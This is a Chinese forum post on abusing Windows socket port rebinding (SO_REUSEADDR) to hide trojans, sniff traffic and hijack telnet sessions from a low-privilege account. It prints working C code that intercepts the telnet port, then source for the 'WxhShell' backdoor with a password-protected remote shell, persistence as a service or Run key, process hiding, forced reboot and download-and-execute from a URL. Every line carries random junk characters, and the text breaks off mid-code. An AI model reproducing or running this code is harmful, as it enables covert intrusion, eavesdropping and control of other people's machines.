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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jkrv2 `"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >X$I:M<L  
rDEd MT  
  saddr.sin_family = AF_INET; 5TB==Fj ?  
W3HTQGV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4kr! Af  
$yi[wwf 4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]rY3bG'&  
?!{nNJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =a]B#uUn  
0\X'a}8Bu  
  这意味着什么?意味着可以进行如下的攻击: t#eTn";  
EYaX@|)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /BaXWrd+  
$&@etsW0/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "+BNas^rF  
`SN?4;N0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XVRtfo  
o<f#Zi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KD*q|?Z  
A:JW Ux  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,<cF<9h  
d=$1Z. ]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @0qDhv s  
Kd%>:E*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `(dRb  
ywl7bU-f  
  #include !J%m7 A  
  #include AY~~a)V  
  #include #ozQF~  
  #include    Fu/{*4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2TZ+R7B?  
  int main() OBBEsD/bc  
  { Jemb0Qv  
  WORD wVersionRequested; rjJ-ZRs\  
  DWORD ret; S^/:O.X)c,  
  WSADATA wsaData; DP-euz  
  BOOL val; UZ qQ|3  
  SOCKADDR_IN saddr; P-*=e8z{  
  SOCKADDR_IN scaddr; ,x. 2kb  
  int err; `tjH#W`  
  SOCKET s; uJX(s6["=  
  SOCKET sc; ,2y " \_  
  int caddsize; aDreN*n  
  HANDLE mt; UN"U#Si)  
  DWORD tid;   .}6Mj]7?i  
  wVersionRequested = MAKEWORD( 2, 2 ); jh*aD=y  
  err = WSAStartup( wVersionRequested, &wsaData );  =>Md>VM  
  if ( err != 0 ) { 4t<l9Ilp  
  printf("error!WSAStartup failed!\n"); -1P*4H2a  
  return -1; U}]uPvu  
  } Om/mpU/U  
  saddr.sin_family = AF_INET; 0 3/ <A^  
   hV6=-QL*B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7Hm/ g  
1}$GVb%i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  #VA8a=t  
  saddr.sin_port = htons(23); lbg^ 2|o~~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ncy?w e  
  { &\_cU?0d  
  printf("error!socket failed!\n"); CaV>\E)  
  return -1; i H^Gv*  
  } s,2gd'  
  val = TRUE; ,svj(HP$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >dTJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !]v&/  
  { 4)4E/q/5  
  printf("error!setsockopt failed!\n"); e#uk+]  
  return -1; D]h~ \  
  } R Wd#)3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -1>$3-ur~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?R ;K`f9<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ny,a5zEnF  
T P5?%SlJ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mAFVjSa2  
  { !83N. gN  
  ret=GetLastError(); b3 ,&RUF  
  printf("error!bind failed!\n"); r,` 59  
  return -1; \~YyY'J  
  } \>>^eZ  
  listen(s,2); b[MdA|C%j  
  while(1) w?+v+k\  
  { rLfhm Ds%u  
  caddsize = sizeof(scaddr); )/:&i<Q:  
  //接受连接请求 A>c/q&WUk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  EK:s#  
  if(sc!=INVALID_SOCKET) s|1BqoE  
  { kr_!AW<.tz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); (M5{y` Kk  
  if(mt==NULL) xGzp}   
  { (;11xu  
  printf("Thread Creat Failed!\n"); --~m{qmy  
  break; DB^"iof  
  } P0En&g+~  
  } bwm?\l.A  
  CloseHandle(mt); #e!4njdM  
  } *$KUnd-T  
  closesocket(s); :jFKTG  
  WSACleanup(); DM-8azq $  
  return 0; u I \zDR  
  }   JVORz-uBs  
  DWORD WINAPI ClientThread(LPVOID lpParam) [;Q8xvVZ'  
  { kJJUu  
  SOCKET ss = (SOCKET)lpParam; sp0j2<$a  
  SOCKET sc; 6G<t1?_yD  
  unsigned char buf[4096]; w :w  
  SOCKADDR_IN saddr; jQKlJi2xu  
  long num; $=c79Al(  
  DWORD val; ^Fl6-|^~  
  DWORD ret; T/_JXK>W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +b7}R7:AFH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,u^S(vxyz  
  saddr.sin_family = AF_INET; fC2   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lD8&*5tDmP  
  saddr.sin_port = htons(23); :\*<EIk(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +G!N@O  
  { r 3@Q(Rb  
  printf("error!socket failed!\n"); z|Hc=AU8y  
  return -1; x*~a{M,h  
  } s7FJJTn  
  val = 100; i4Y_5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r|XNS>V ,$  
  { 1`tE Hu.  
  ret = GetLastError(); >@yHa'*9S  
  return -1; >b |TaQ  
  } IeqJ>t:   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6 1= ?(Iw  
  { l_lm)'ag  
  ret = GetLastError(); # $:ddO Y  
  return -1; {(7D=\eU  
  } 8 oHyNo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7L[HtwI  
  { g<[_h(xDeG  
  printf("error!socket connect failed!\n"); y(K?mtQ   
  closesocket(sc); S8O^^jJq;  
  closesocket(ss); ?-g=Rfpag  
  return -1; ~-,P1 u!  
  } wX6VapFboI  
  while(1) u"K-mr#$[o  
  { ;SzOa7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ve,_;<F]S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .,:700n+^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jy'ge4]3  
  num = recv(ss,buf,4096,0); {4Q4aL(  
  if(num>0) '|0Dt|$  
  send(sc,buf,num,0); zh$[UdY6  
  else if(num==0) >Au]S `  
  break; 6&=xu|M<x=  
  num = recv(sc,buf,4096,0); =|n NC  
  if(num>0) fW Vd[zuD4  
  send(ss,buf,num,0); G?)vqmJ%  
  else if(num==0) ?aInn:FE  
  break; Urhh)i  
  } m:<cLc :.  
  closesocket(ss); I"E5XVC);  
  closesocket(sc); OHzI!,2]  
  return 0 ; ,TD@s$2x  
  } fbS l$jn.  
}%EQ  
,cs`6Bd4  
========================================================== EA 4a Z6%  
S @\Pki+n[  
下边附上一个代码,,WXhSHELL M:c^ [9)y  
0@E[IDmp  
========================================================== 7-+X -Y?  
8=Di+r  
#include "stdafx.h" B`a5%asJn  
lhAwTOn`Q  
#include <stdio.h> SX|b0S,  
#include <string.h> XpWqL9s_E  
#include <windows.h> @R>4b  
#include <winsock2.h> qFmvc  
#include <winsvc.h> u>H^bCXI  
#include <urlmon.h> 7t\W{y  
pi? q<p%  
#pragma comment (lib, "Ws2_32.lib") :|oH11 y  
#pragma comment (lib, "urlmon.lib") .:c^G[CQ^9  
\$s<G|<P  
#define MAX_USER   100 // 最大客户端连接数 *&>1A A  
#define BUF_SOCK   200 // sock buffer 0@1AH<  
#define KEY_BUFF   255 // 输入 buffer eJ>(SkR:[  
ghJ81  
#define REBOOT     0   // 重启 >t u3m2  
#define SHUTDOWN   1   // 关机 j& f-yc'i-  
Ul OoMGg  
#define DEF_PORT   5000 // 监听端口 5xP\6Nx6&5  
0 8vA;6zt  
#define REG_LEN     16   // 注册表键长度 M cE$=Vv  
#define SVC_LEN     80   // NT服务名长度 }4Lv-9s,  
BOn2`|oLuF  
// 从dll定义API {Q^P<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FJo N"X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >+R`3|o '  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]7v-qd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2|(J<H  
[zIX&fPk$  
// wxhshell配置信息 Afo(! v  
struct WSCFG { YEAiLC+q  
  int ws_port;         // 监听端口 {FraM,w:  
  char ws_passstr[REG_LEN]; // 口令 gIep6nq1`|  
  int ws_autoins;       // 安装标记, 1=yes 0=no Bm"jf]  
  char ws_regname[REG_LEN]; // 注册表键名 k&ujr:)5Y5  
  char ws_svcname[REG_LEN]; // 服务名 !)ey~Suh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /s uz>o\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S #%'Vrp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }8GCOY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P~iu|j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i 4lR$]@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z<K[  
z m\=4^X  
}; J6_H lt  
SQWwxFJ  
// default Wxhshell configuration "m0>u,HmI  
struct WSCFG wscfg={DEF_PORT, `Z>4}<~+  
    "xuhuanlingzhe", uu1-` !%  
    1, N \[Cuh8Fe  
    "Wxhshell", ~HI|t2C  
    "Wxhshell", u2y?WcMv  
            "WxhShell Service", V' "p a  
    "Wrsky Windows CmdShell Service", lMB^/-Y  
    "Please Input Your Password: ", b\"JXfw  
  1, 6GMQgTY^  
  "http://www.wrsky.com/wxhshell.exe", xKEHN gen  
  "Wxhshell.exe" 8V`r*:\  
    }; 1Jc-hrN-  
9 Bz ~3  
// 消息定义模块 l~AmHw e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -lRXH7|X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cgc| G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $T tCVR  
char *msg_ws_ext="\n\rExit."; >&RpfE[  
char *msg_ws_end="\n\rQuit."; \evK.i*KfA  
char *msg_ws_boot="\n\rReboot..."; 3X89mIDr  
char *msg_ws_poff="\n\rShutdown..."; M/:kh,3  
char *msg_ws_down="\n\rSave to "; 0Q_AF`"  
Q?L-6]pg  
char *msg_ws_err="\n\rErr!"; $d{{><  
char *msg_ws_ok="\n\rOK!"; )MHvuk:I)  
>1T=Aw2Z.  
char ExeFile[MAX_PATH]; Q9q:HGXxv  
int nUser = 0; bT,]=h"0  
HANDLE handles[MAX_USER]; ' ]l,  
int OsIsNt; 4 (& W>E  
&sh %]o8  
SERVICE_STATUS       serviceStatus; c>:}~.~T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yDWzsA/X  
!F/;WjHz  
// 函数声明 ~ULuX"n  
int Install(void); 1&ZG6#16q  
int Uninstall(void); rg "W1m[k  
int DownloadFile(char *sURL, SOCKET wsh); ~zi6wu(3  
int Boot(int flag); ;<Oe\X  
void HideProc(void); F +D2 xN@  
int GetOsVer(void); l6:k|hrm;  
int Wxhshell(SOCKET wsl); ~#h@.yW^JN  
void TalkWithClient(void *cs); aU<0<Dx  
int CmdShell(SOCKET sock); MM3X! tq  
int StartFromService(void); $T8Ni!#/C  
int StartWxhshell(LPSTR lpCmdLine); [~` ; .7~  
.wtb7U;7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cT`x,2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8O qG{jmG  
XG@_Lcv*  
// 数据结构和表定义 ~!E% GCyFy  
SERVICE_TABLE_ENTRY DispatchTable[] = [a53H$`\5  
{ k]u0US9/  
{wscfg.ws_svcname, NTServiceMain}, ?9mFI(r~  
{NULL, NULL} w{?nX6a@p  
}; ~j^HDHY@  
(^ZC8)0i(  
// 自我安装 Nj1vB;4Nx  
int Install(void) 'vgw>\X(  
{ T?N' k=   
  char svExeFile[MAX_PATH]; :aV(i.LW  
  HKEY key; /i"vEI  
  strcpy(svExeFile,ExeFile); Vz1ro  
lRi-?I| ~9  
// 如果是win9x系统,修改注册表设为自启动 YC - -&66  
if(!OsIsNt) { rtS(iD@B"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -_[n2\|we)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L)H7~.Dj  
  RegCloseKey(key); Wo&MHMP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^2mmgN   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vl5}m  
  RegCloseKey(key); BT: =  
  return 0; l}j5EWe  
    } S) Sv4Qm  
  } A-aukJg9  
} G#ZU^%$M,  
else { \9geDX9A  
5?kJ]:  
// 如果是NT以上系统,安装为系统服务 z\*ii<- @  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  &~:b &  
if (schSCManager!=0) 1/c7((]7(,  
{ dms R>Q  
  SC_HANDLE schService = CreateService P#\L6EO.  
  ( sn '#]yM  
  schSCManager, 4.$<o/M  
  wscfg.ws_svcname, j#$ R.  
  wscfg.ws_svcdisp, w(U-6uA  
  SERVICE_ALL_ACCESS, rY4{,4V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wo5"f}vd#  
  SERVICE_AUTO_START, /B.\6  
  SERVICE_ERROR_NORMAL, ;Xk-hhR  
  svExeFile, ?DzKqsS'  
  NULL, 'e_^s+l)a  
  NULL, r0379 _  
  NULL, xgn@1.}G  
  NULL, 6Db1mvSe  
  NULL 7pH(_-TF  
  ); ?M. n 9|}y  
  if (schService!=0) y/k6gl[`  
  { }26?bd@e`  
  CloseServiceHandle(schService); W(Z_ac^e[  
  CloseServiceHandle(schSCManager); 2~Z P[wr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vQ>x5\r5O_  
  strcat(svExeFile,wscfg.ws_svcname); 5+].$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h}k&#X)7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }J73{  
  RegCloseKey(key); /{vv n  
  return 0; #|k;nFJ  
    } `% k9@k .  
  } _p<W  
  CloseServiceHandle(schSCManager); ];i-d7C  
} @GDe{GG+  
} 3/>T/To&2  
9\ZlRYnc=  
return 1; :IlRn`9X`  
} 23?\jw3w  
`WQz_}TqB  
// 自我卸载 uCO-f<b  
int Uninstall(void) F$<>JEdX  
{ r CU f,)  
  HKEY key; `T7gfb%1-3  
OF J49X  
if(!OsIsNt) { & 9}L +/,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QH@?.Kb_qU  
  RegDeleteValue(key,wscfg.ws_regname); j oDY   
  RegCloseKey(key); FDBj<uXfM|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Oya:{d&=  
  RegDeleteValue(key,wscfg.ws_regname); WP[h@#7<  
  RegCloseKey(key); #=C!Xx&  
  return 0; B64L>7\>`  
  } hEla8L4Y  
} *"Yz"PK  
} *'4+kj7>  
else { xj`ni G  
]D_"tQ?i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E0; }e  
if (schSCManager!=0) 2yZ/'}Mw  
{ &XAG| #  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0?OTa<c  
  if (schService!=0) YHBH9E/B  
  { I/4:SNha  
  if(DeleteService(schService)!=0) { 9RA~#S|(T  
  CloseServiceHandle(schService); s |B  
  CloseServiceHandle(schSCManager); Y~z3fd  
  return 0; SNqw 2f5  
  } vF yl,S5A  
  CloseServiceHandle(schService); Xq:jp+WSG  
  } N fe  
  CloseServiceHandle(schSCManager); _+Tq&,_:o  
} 4@ EY+p  
} E57:ap)/  
u'Ja9m1  
return 1; XG_h\NIL  
} ;#-yyU  
]^aOYtKX  
// 从指定url下载文件 {l/j?1Dxq  
int DownloadFile(char *sURL, SOCKET wsh) X*f#S:kiNU  
{ ,liFo.kT8%  
  HRESULT hr; T%0vifoQ_$  
char seps[]= "/"; Ja1[vO"YgP  
char *token; p5F=?*[}  
char *file; <X@XbM  
char myURL[MAX_PATH]; D1w;cV7/d  
char myFILE[MAX_PATH]; t!}QG"ma  
E|R^tETb  
strcpy(myURL,sURL); ;rwjqUDBz  
  token=strtok(myURL,seps); 0_nY70B  
  while(token!=NULL) (4:&tm/;  
  { /mS|Byx  
    file=token; hF m_`J&"  
  token=strtok(NULL,seps); >fZ N?>`  
  } i/Zv@GF  
^d6}rtG  
GetCurrentDirectory(MAX_PATH,myFILE); w=e_@^Fkx  
strcat(myFILE, "\\"); [/Q .MmnL  
strcat(myFILE, file); cD^`dn%$  
  send(wsh,myFILE,strlen(myFILE),0); t2bv nh  
send(wsh,"...",3,0); ]oOSL=~c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U(xN}Y ?  
  if(hr==S_OK) I^}q;L![\  
return 0; q47>RWMh%  
else KMs[/|HX\  
return 1; q,Oj  
C:r@)Mhq  
} ,<Ag&*YE4  
pr~%%fCh  
// 系统电源模块 V]E# N  
int Boot(int flag) h=?V)WSM  
{ g5",jTn#  
  HANDLE hToken; JAt$WW{  
  TOKEN_PRIVILEGES tkp; XK*55W &og  
m-xnbTcQ  
  if(OsIsNt) { =1|^) 4M,x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F!k3/z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R_DstpsT  
    tkp.PrivilegeCount = 1; ot%^FvQ[c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ajM3Uwnr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u& 4i=K'x8  
if(flag==REBOOT) { dM-qd`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Fx@ovI- 5  
  return 0; 0f_+h %%=  
} d#tqa`@~  
else { =D>,s)}o3;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wOMrUWB0  
  return 0; %yyvB5Y^  
} w"PnN  
  } {th=MldJ?  
  else { ^uWPbW&/q  
if(flag==REBOOT) { k?bIu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KF.O>c87&  
  return 0; @~=*W5  
} LL0Y$pHV  
else { p&s~O,Bw$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6D\$K  
  return 0; ^ gMkQYo(#  
} C {*' p+f  
} =%)Y, )"  
*jf%Wj)0M  
return 1; hR4\:s+[  
} ia9=&Hy])  
yv;KKQ   
// win9x进程隐藏模块 +GYO<N7  
void HideProc(void) mi';96  
{ > eC>sTPQ{  
bo-AM]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mfW}^mu  
  if ( hKernel != NULL ) W?:e4:Q  
  { '=WPi_Z5:C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ke)}JU^"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6"L,#aKm^  
    FreeLibrary(hKernel); hNRN`\5Z  
  }  5(\H:g\z  
5r` x\  
return; sd5)We  
} ufi:aE=}  
z 0}JiWR  
// 获取操作系统版本 1a]P+-@u[  
int GetOsVer(void) ;Tec)Fl  
{ Wt M1nnJp  
  OSVERSIONINFO winfo; W; zzc1v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xxQgX~'x  
  GetVersionEx(&winfo); b[2 #t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AX]cM)w  
  return 1; ?Q[b1:;Lm  
  else ujf]@L?  
  return 0; Djr/!j  
} u_=^Bd   
m ##_U9O  
// 客户端句柄模块 i)!+`w*Y  
int Wxhshell(SOCKET wsl) A7I{Le  
{ +Ym#!"  
  SOCKET wsh; <dKHZ4  
  struct sockaddr_in client; ]p@q.P  
  DWORD myID; dAr=X4LE  
)eVn1U2*z.  
  while(nUser<MAX_USER) s>I~%+V.?:  
{ $YiG0GK<"  
  int nSize=sizeof(client); 4d8}g25C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (XNd]G  
  if(wsh==INVALID_SOCKET) return 1; mM2DZ^"j(  
pM-mZ/?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~[Z(6yX  
if(handles[nUser]==0) wD92Ava   
  closesocket(wsh); +,zV [\  
else 9hei8L:  
  nUser++; yS.)l  
  } u)[i'ceQZ:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bH g 0,N  
zXW;W$7V4  
  return 0; (7C$'T-ZK  
} AHzm9U @  
[M2xF<r6t  
// 关闭 socket tP89gN^PA|  
void CloseIt(SOCKET wsh) K?u:-QX^  
{ ETm:KbS  
closesocket(wsh); rrSFmhQUk  
nUser--; RREl($$p  
ExitThread(0); (_R!:H(]m  
} ?L"x>$  
H<"EE15  
// 客户端请求句柄 Xdh@ ^`  
void TalkWithClient(void *cs)  ]l}bk]  
{ 3uL$+F  
nK`H;k  
  SOCKET wsh=(SOCKET)cs; \j4!dOGZ  
  char pwd[SVC_LEN]; DAy|'%rF1-  
  char cmd[KEY_BUFF]; ,x utI  
char chr[1]; c_u7O \  
int i,j; E(*S]Z[  
v}=pxWhm  
  while (nUser < MAX_USER) { 1ZXRH;J40  
(!a\23  
if(wscfg.ws_passstr) { uT Y G/O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y\:,.cZ+TQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .*?)L3n+t  
  //ZeroMemory(pwd,KEY_BUFF); E)]emeG d  
      i=0; nv3TxG  
  while(i<SVC_LEN) { ~ujg250.L  
Pr,C)uch  
  // 设置超时 GuF-HP}xM  
  fd_set FdRead; yMOYTN@]  
  struct timeval TimeOut; OqX+ R4S  
  FD_ZERO(&FdRead); qnzNJ_ `R  
  FD_SET(wsh,&FdRead); ie/QSte  
  TimeOut.tv_sec=8; I#xhmsF  
  TimeOut.tv_usec=0; F#o{/u?T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h1#l12k^'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dB Hki*.u  
J?Rp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]0pI6"  
  pwd=chr[0]; NJKk\RM@7  
  if(chr[0]==0xd || chr[0]==0xa) { Lve$H(GHT  
  pwd=0; oTA'=<W?D  
  break; ZRUAw,T*  
  } G~NhBA9  
  i++; V{{UsEVO  
    } tAb3ejCo?  
M<@9di7c  
  // 如果是非法用户,关闭 socket HPK}Z|Vl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )EG-xo@X  
} d%Ku 'Jy  
d_98%U+u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `~@}f"c`u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w$Mb+b$  
S1!_ IK$m  
while(1) { & aF'IJC  
7wqD_Xr  
  ZeroMemory(cmd,KEY_BUFF); ) |hHbD^V  
C,u;l~zz  
      // 自动支持客户端 telnet标准   B^hK  
  j=0; @T-}\AU  
  while(j<KEY_BUFF) { Q1 vse  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cH7D@p}  
  cmd[j]=chr[0]; '`p0T%w  
  if(chr[0]==0xa || chr[0]==0xd) { b$FXRR\G  
  cmd[j]=0; a[gN+DX%L  
  break; td+[Na0d  
  } EtB56FU\  
  j++; ,I[A~  
    } l1RFn,Tzr  
,@2d4eg 4  
  // 下载文件 ~ K|o@LK  
  if(strstr(cmd,"http://")) { t{/ EN)J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g? \pH:|79  
  if(DownloadFile(cmd,wsh)) yDw^xGws  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); # /pZ#ny  
  else /XW,H0pR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j! cB  
  } ?rV c}  
  else {  ,#-^  
k<S!|  
    switch(cmd[0]) { 6d/b*,4[  
  |zL.PS  
  // 帮助 ?|Mmz@  
  case '?': { |m7`:~ow  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8 _[f#s`)  
    break; h-h}NCP  
  } FJ&zU<E  
  // 安装 sw &sF  
  case 'i': { )uyh  
    if(Install()) iJE|u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7f td2lv  
    else gf2w@CVF>=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9uREbip  
    break; _V|'iz9.  
    } s ^{j  
  // 卸载 M>k7 '@G  
  case 'r': { J0|}u1? l  
    if(Uninstall()) 5cQBqH]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XT_BiZ%l5O  
    else 4%j&]PASa1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _.06^5o  
    break; |@-WC.  
    } +CNRSq"  
  // 显示 wxhshell 所在路径 FZmYv%J  
  case 'p': { E(U}$Zey  
    char svExeFile[MAX_PATH]; A?|cJ"N  
    strcpy(svExeFile,"\n\r"); T[q-$8U  
      strcat(svExeFile,ExeFile); cuk2\> Xl  
        send(wsh,svExeFile,strlen(svExeFile),0); v981nJ>w,  
    break; |2 wff?  
    } D&9j$#9Rh  
  // 重启 $'FPst8Q<  
  case 'b': { X7c*T /  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [Iihk5TT  
    if(Boot(REBOOT)) X-{:.9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D#t5*bwK  
    else { JcVq%~ {M  
    closesocket(wsh); BtHvfoT  
    ExitThread(0); M9OFK\)  
    } u\.sS|$  
    break; >;3c; nf  
    } 2aje$w-  
  // 关机 ia_8$>xW+  
